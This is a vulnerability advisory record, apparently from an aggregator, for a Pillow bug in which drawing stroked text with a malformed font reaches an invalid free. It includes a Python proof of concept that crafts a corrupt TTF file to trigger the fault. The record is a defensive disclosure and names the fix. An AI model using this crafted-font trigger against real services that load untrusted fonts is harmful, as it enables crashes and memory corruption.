{"id":"CVE-2026-112893","aliases":["GHSA-j4m9-6w36-pw47"],"url":"https://o3.security/vulnerability/CVE-2026-112893","summary":"Pillow: Invalid free in FreeType glyph rendering when a stroker is active","details":"### Summary\nWhen text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If `FT_Load_Glyph` fails for a glyph, the cleanup path calls `FT_Done_Glyph` on the `glyph` variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.\n\n### Details\n`glyph` is declared without a NULL initializer:\n\n- `src/_imagingft.c:848`\n\nThe first measurement loop can jump to `glyph_error` before `glyph` is ever assigned:\n\n- `src/_imagingft.c:1010-1013`\n\nIn the render loop the glyph is freed at the end of each iteration and not set back to NULL:\n\n- `src/_imagingft.c:1242`\n\nThe cleanup frees it whenever a stroker exists:\n\n- `src/_imagingft.c:1253-1256`\n\n`ImageFont.truetype` accepts a file object or bytes, so the font is attacker-suppliable.\n\n### PoC\nThis needs `fontTools` and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph \"A\" to claim 5000 contours in a glyph body far too short for them, so `FT_Load_Glyph` returns an error while the face still opens.\n\n```python\nimport struct\nfrom fontTools.ttLib import TTFont\nfrom PIL import Image, ImageFont, ImageDraw\n\nSRC = \"Tests/fonts/FreeMono.ttf\"          # any TTF works as a base\ntt = TTFont(SRC)\ngid = tt.getGlyphID(tt.getBestCmap()[ord(\"A\")])\nloca_long = tt[\"head\"].indexToLocFormat\ntt.close()\n\nraw = bytearray(open(SRC, \"rb\").read())\nnt = struct.unpack(\">H\", raw[4:6])[0]\ntbl = {}\nfor i in range(nt):\n    rec = 12 + i * 16\n    tag = bytes(raw[rec:rec+4]).decode(\"latin-1\")\n    off, length = struct.unpack(\">II\", raw[rec+8:rec+16])\n    tbl[tag] = (off, length)\nglyf_off = tbl[\"glyf\"][0]; loca_off = tbl[\"loca\"][0]\nif loca_long:\n    o0 = struct.unpack_from(\">I\", raw, loca_off + 4*gid)[0]\nelse:\n    o0 = struct.unpack_from(\">H\", raw, loca_off + 2*gid)[0] * 2\nstruct.pack_into(\">h\", raw, glyf_off + o0, 5000)   # numberOfContours = 5000\nopen(\"evil.ttf\", \"wb\").write(raw)\n\nf = ImageFont.truetype(\"evil.ttf\", 20)             # face opens\nd = ImageDraw.Draw(Image.new(\"RGB\", (64, 64)))\nd.text((0, 0), \"A\", font=f, stroke_width=2)        # load error -> FT_Done_Glyph on bad pointer\n```\n\nResult on the pinned build: `FT_Load_Glyph` returns an error and execution reaches the `glyph_error` cleanup that calls `FT_Done_Glyph(glyph)` (the plugin surfaces `OSError: invalid outline`).\n\n### Impact\nApplications that draw text with `stroke_width != 0` using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize `glyph = NULL` and set it back to NULL after each `FT_Done_Glyph`.","published":"2026-10-19T21:53:49.979Z","modified":"2026-10-24T07:15:11.115986968Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"pillow","fixedVersion":"13.0.0"}],"fix":{"url":"https://github.com/python-pillow/Pillow/commit/a7416de7f3a43128179d2cf68df3240ea8dafe13","label":"python-pillow/Pillow@a7416de"},"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112893.json"},{"type":"ADVISORY","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-j4m9-6w36-pw47"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112893"},{"type":"FIX","url":"https://github.com/python-pillow/Pillow/commit/a7416de7f3a43128179d2cf68df3240ea8dafe13"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-24T07:15:11.115986968Z"}}